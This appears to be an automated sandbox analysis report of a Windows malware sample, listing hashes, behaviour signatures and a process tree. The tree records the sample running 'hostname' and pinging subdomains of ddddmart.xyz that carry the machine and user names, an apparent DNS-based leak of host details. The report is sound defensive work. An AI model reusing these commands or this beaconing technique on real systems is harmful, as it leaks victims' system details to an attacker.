Overview

overview

7

Static

static

3

ce76e73a7a...06.exe

windows7-x64

7

ce76e73a7a...06.exe

windows10-2004-x64

7

Analysis

  • max time kernel
    150s
  • max time network
    138s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/09/2023, 10:27

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    ce76e73a7a1f8d7d38b87242a2ecb0317bb6671ed03792601548666e83cdaf06.exe

  • Size

    2.9MB

  • MD5

    1b4d55199d9d2ef7a833925e4c152522

  • SHA1

    8bf8ded3b3c57d3e8b70d801081c3d455f66ff0e

  • SHA256

    ce76e73a7a1f8d7d38b87242a2ecb0317bb6671ed03792601548666e83cdaf06

  • SHA512

    180c249931f379223f0aa898da2ff0555e372a3d4118bcd9cbe9a08ce0398af6938984774a790e744933cbd70fa25385bb222f846ddbc2340afb3148d665508e

  • SSDEEP

    24576:X0uL1fD3syAooEbWb5Hg1fLJ2aUgKmxzCczaBD/w:X0u+zPHg1fjzzGe

Score
7/10

Malware Config

Signatures

  • Deletes itself 1 IoCs
  • Runs ping.exe 1 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ce76e73a7a1f8d7d38b87242a2ecb0317bb6671ed03792601548666e83cdaf06.exe
    "C:\Users\Admin\AppData\Local\Temp\ce76e73a7a1f8d7d38b87242a2ecb0317bb6671ed03792601548666e83cdaf06.exe"
    1⤵
    • Deletes itself
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: RenamesItself
    • Suspicious use of WriteProcessMemory
    PID:4992
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c hostname
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1792
      • C:\Windows\system32\HOSTNAME.EXE
        hostname
        3⤵
          PID:4588
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ping -n 1 Oxwqdksv.uzi.ddddmart.xyz
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3520
        • C:\Windows\system32\PING.EXE
          ping -n 1 Oxwqdksv.uzi.ddddmart.xyz
          3⤵
          • Runs ping.exe
          PID:4596
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ping -n 1 Admin.uzi.ddddmart.xyz
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4144
        • C:\Windows\system32\PING.EXE
          ping -n 1 Admin.uzi.ddddmart.xyz
          3⤵
          • Runs ping.exe
          PID:2064

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/4992-0-0x00007FF794090000-0x00007FF794385000-memory.dmp

      Filesize

      3.0MB

      Download